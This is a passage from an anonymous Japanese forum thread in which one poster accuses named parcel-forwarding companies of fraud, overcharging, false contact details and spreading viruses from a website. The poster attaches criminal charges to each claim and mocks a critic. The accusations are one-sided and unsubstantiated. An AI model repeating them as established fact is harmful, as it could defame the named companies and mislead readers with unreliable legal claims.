あいまいな表現で利用者を騙します(トムスコーポレーションのおとどけプロジェクト)
運賃を過剰徴収をして、知らんぷりを決め込みます(トムスコーポレーション)
円天ごっこが好きなのか、やたらポイントのセールスに力を入れます(トムスコーポレーション)
業者の住所や電話番号は当然、虚偽もしくは不掲載です(トムスコーポレーションなど、複数の業者で確認)
HPにウィルスタグを仕込み、ウィルスを拡散します。しかも何の発表もなくこっそりウィルスタグを消し、ウィルスを拡散していた事実をなかったことにします。GENO並の対応です(ECO宅)
利用停止を他人の責任にして、利用者に先払いさせた金を返金せずに金を持ち逃げます(マックス宅配便)
第三種郵便でないものを第三種郵便で発送し、その上、障害者団体の名義を借りて、障害者割引を悪用します(障害者割引悪用事件)
差出表に実際の半分ぐらいの個数しか記載せず、不正に運賃を免れます(長岡郵便局不正値引事件)

これが発送代行の実態です(^-^)
まるで北朝鮮のようですね(^-^)
これからは発送代行業者の事を、「物流業界の北朝鮮」と呼びましょう(^-^)

>>895
いくら努力しても誰も賛同してくれないのな
（自演を除くｗ

一個人が企業相手に屁理屈こねて嫌がらせ。
ダサすぎ。
アホな事はやめれ。

>>897
屁理屈ではなく、全て事実ですが？(^-^)
しかも法律に違反してるんだから、叩かれて当然ですよね(^-^)

あいまいな表現で利用者を騙します(トムスコーポレーションのおとどけプロジェクト)→消費者契約法違反
運賃を過剰徴収をして、知らんぷりを決め込みます(トムスコーポレーション)→詐欺罪
円天ごっこが好きなのか、やたらポイントのセールスに力を入れます(トムスコーポレーション)→出資法違反
業者の住所や電話番号は当然、虚偽もしくは不掲載です(トムスコーポレーションなど、複数の業者で確認)→特定商取引法違反
HPにウィルスタグを仕込み、ウィルスを拡散します。しかも何の発表もなくこっそりウィルスタグを消し、ウィルスを拡散していた事実をなかったことにします。GENO並の対応です(ECO宅)→パソコンに異常が発生すれば、器物破損罪適用
利用停止を他人の責任にして、利用者に先払いさせた金を返金せずに金を持ち逃げます(マックス宅配便)→詐欺罪
第三種郵便でないものを第三種郵便で発送し、その上、障害者団体の名義を借りて、障害者割引を悪用します(障害者割引悪用事件)→詐欺罪
差出表に実際の半分ぐらいの個数しか記載せず、不正に運賃を免れます(長岡郵便局不正値引事件)→詐欺罪

全部犯罪でしたね(^-^)